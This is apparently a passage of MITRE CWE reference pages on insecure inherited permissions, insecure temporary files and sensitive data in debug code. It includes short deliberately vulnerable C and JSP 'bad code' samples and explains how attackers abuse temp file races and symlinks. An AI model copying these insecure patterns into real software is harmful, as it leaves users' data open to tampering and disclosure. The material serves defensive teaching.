+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInsecure default variable initialization
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings
2010-06-21CWE Content TeamMITRE
updated Maintenance_Notes, Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2019-06-20CWE Content TeamMITRE
updated Relationships, Type
2020-02-24CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples

CWE-277: Insecure Inherited Permissions

Weakness ID: 277
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A product defines a set of insecure permissions that are inherited by objects that are created by the program.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.732Incorrect Permission Assignment for Critical Resource
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.275Permission Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Application Data; Modify Application Data

+ Observed Examples
ReferenceDescription
User's umask is used when creating temp files.
Insecure umask for core dumps [is the umask preserved or assigned?].
+ Potential Mitigations

Phases: Architecture and Design; Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.946SFP Secondary Cluster: Insecure Resource Permissions
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInsecure inherited permissions
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2020-12-10CWE Content TeamMITRE
updated Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-278: Insecure Preserved Inherited Permissions

Weakness ID: 278
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A product inherits a set of insecure permissions for an object, e.g. when copying from an archive file, without user awareness or involvement.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.732Incorrect Permission Assignment for Critical Resource
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.275Permission Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Application Data; Modify Application Data

+ Observed Examples
ReferenceDescription
Does not obey specified permissions when exporting.
+ Potential Mitigations

Phases: Architecture and Design; Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.946SFP Secondary Cluster: Insecure Resource Permissions
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInsecure preserved inherited permissions
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-12-10CWE Content TeamMITRE
updated Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-377: Insecure Temporary File

Weakness ID: 377
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Creating and using insecure temporary files can leave application and system data vulnerable to attack.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.378Creation of Temporary File With Insecure Permissions
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.379Creation of Temporary File in Directory with Insecure Permissions
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Demonstrative Examples

Example 1

The following code uses a temporary file for storing intermediate data gathered from the network before it is processed.

(bad code)
Example Language:
if (tmpnam_r(filename)) {

FILE* tmp = fopen(filename,"wb+");
while((recv(sock,recvbuf,DATA_SIZE, 0) > 0)&(amt!=0)) amt = fwrite(recvbuf,1,DATA_SIZE,tmp);
}
...

This otherwise unremarkable code is vulnerable to a number of different attacks because it relies on an insecure method for creating temporary files. The vulnerabilities introduced by this function and others are described in the following sections. The most egregious security problems related to temporary file creation have occurred on Unix-based operating systems, but Windows applications have parallel risks. This section includes a discussion of temporary file creation on both Unix and Windows systems. Methods and behaviors can vary between systems, but the fundamental risks introduced by each are reasonably constant.

+ Observed Examples
ReferenceDescription
A library uses the Java File.createTempFile() method which creates a file with "-rw-r--r--" default permissions on Unix-like operating systems
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.3617PK - Time and State
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.857The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.964SFP Secondary Cluster: Exposure Temporary File
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1147SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1169SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1366ICS Communications: Frail Security in Protocols
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Other

Applications require temporary files so frequently that many different mechanisms exist for creating them in the C Library and Windows(R) API. Most of these functions are vulnerable to various forms of attacks.

The functions designed to aid in the creation of temporary files can be broken into two groups based whether they simply provide a filename or actually open a new file. - Group 1: "Unique" Filenames: The first group of C Library and WinAPI functions designed to help with the process of creating temporary files do so by generating a unique file name for a new temporary file, which the program is then supposed to open. This group includes C Library functions like tmpnam(), tempnam(), mktemp() and their C++ equivalents prefaced with an _ (underscore) as well as the GetTempFileName() function from the Windows API. This group of functions suffers from an underlying race condition on the filename chosen. Although the functions guarantee that the filename is unique at the time it is selected, there is no mechanism to prevent another process or an attacker from creating a file with the same name after it is selected but before the application attempts to open the file. Beyond the risk of a legitimate collision caused by another call to the same function, there is a high probability that an attacker will be able to create a malicious collision because the filenames generated by these functions are not sufficiently randomized to make them difficult to guess. If a file with the selected name is created, then depending on how the file is opened the existing contents or access permissions of the file may remain intact. If the existing contents of the file are malicious in nature, an attacker may be able to inject dangerous data into the application when it reads data back from the temporary file. If an attacker pre-creates the file with relaxed access permissions, then data stored in the temporary file by the application may be accessed, modified or corrupted by an attacker. On Unix based systems an even more insidious attack is possible if the attacker pre-creates the file as a link to another important file. Then, if the application truncates or writes data to the file, it may unwittingly perform damaging operations for the attacker. This is an especially serious threat if the program operates with elevated permissions. Finally, in the best case the file will be opened with the a call to open() using the O_CREAT and O_EXCL flags or to CreateFile() using the CREATE_NEW attribute, which will fail if the file already exists and therefore prevent the types of attacks described above. However, if an attacker is able to accurately predict a sequence of temporary file names, then the application may be prevented from opening necessary temporary storage causing a denial of service (DoS) attack. This type of attack would not be difficult to mount given the small amount of randomness used in the selection of the filenames generated by these functions. - Group 2: "Unique" Files: The second group of C Library functions attempts to resolve some of the security problems related to temporary files by not only generating a unique file name, but also opening the file. This group includes C Library functions like tmpfile() and its C++ equivalents prefaced with an _ (underscore), as well as the slightly better-behaved C Library function mkstemp(). The tmpfile() style functions construct a unique filename and open it in the same way that fopen() would if passed the flags "wb+", that is, as a binary file in read/write mode. If the file already exists, tmpfile() will truncate it to size zero, possibly in an attempt to assuage the security concerns mentioned earlier regarding the race condition that exists between the selection of a supposedly unique filename and the subsequent opening of the selected file. However, this behavior clearly does not solve the function's security problems. First, an attacker can pre-create the file with relaxed access-permissions that will likely be retained by the file opened by tmpfile(). Furthermore, on Unix based systems if the attacker pre-creates the file as a link to another important file, the application may use its possibly elevated permissions to truncate that file, thereby doing damage on behalf of the attacker. Finally, if tmpfile() does create a new file, the access permissions applied to that file will vary from one operating system to another, which can leave application data vulnerable even if an attacker is unable to predict the filename to be used in advance. Finally, mkstemp() is a reasonably safe way create temporary files. It will attempt to create and open a unique file based on a filename template provided by the user combined with a series of randomly generated characters. If it is unable to create such a file, it will fail and return -1. On modern systems the file is opened using mode 0600, which means the file will be secure from tampering unless the user explicitly changes its access permissions. However, mkstemp() still suffers from the use of predictable file names and can leave an application vulnerable to denial of service attacks if an attacker causes mkstemp() to fail by predicting and pre-creating the filenames to be used.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsInsecure Temporary File
CERT C Secure CodingCON33-CImpreciseAvoid race conditions when using library functions
The CERT Oracle Secure Coding Standard for Java (2011)FIO00-JDo not operate on files in shared directories
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 23, "Creating Temporary Files Securely" Page 682. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Temporary Files", Page 538. 1st Edition. Addison Wesley. 2006.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 11, "File Squatting", Page 662. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Demonstrative_Examples
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2010-02-16CWE Content TeamMITRE
updated References
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, References, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated References, Relationships, Type
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Related_Attack_Patterns
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2023-10-26CWE Content TeamMITRE
updated Observed_Examples

CWE-215: Insertion of Sensitive Information Into Debugging Code

Weakness ID: 215
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product inserts sensitive information into debugging code, which could expose this information if the debugging code is not disabled in production.
+ Extended Description
When debugging, it may be necessary to report detailed information to the programmer. However, if the debugging code is not disabled when the product is operating in a production environment, then this sensitive information may be exposed to attackers.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.200Exposure of Sensitive Information to an Unauthorized Actor
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.489Active Debug Code
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.199Information Management Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Demonstrative Examples

Example 1

The following program changes its behavior based on a debug flag.

(bad code)
Example Language: JSP 
<% if (Boolean.getBoolean("debugEnabled")) {
%>
User account number: <%= acctNo %>
<%
} %>

The code writes sensitive debug information to the client browser if the "debugEnabled" flag is set to true .

+ Observed Examples
ReferenceDescription
Password exposed in debug information.
CGI script includes sensitive information in debug messages when an error is triggered.
FTP client with debug option enabled shows password to the screen.
+ Potential Mitigations

Phase: Implementation

Do not leave debug statements that could be executed in the source code. Ensure that all debug information is eradicated before releasing the software.

Phase: Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.717OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.933OWASP Top Ten 2013 Category A5 - Security Misconfiguration
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This overlaps other categories.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInfoleak Using Debug Information
OWASP Top Ten 2007A6CWE More SpecificInformation Leakage and Improper Error Handling
OWASP Top Ten 2004A10CWE More SpecificInsecure Configuration Management
Software Fault PatternsSFP23Exposed Data
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Relationships, Relationship_Notes, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2010-09-27CWE Content TeamMITRE
updated Description, Name, Observed_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
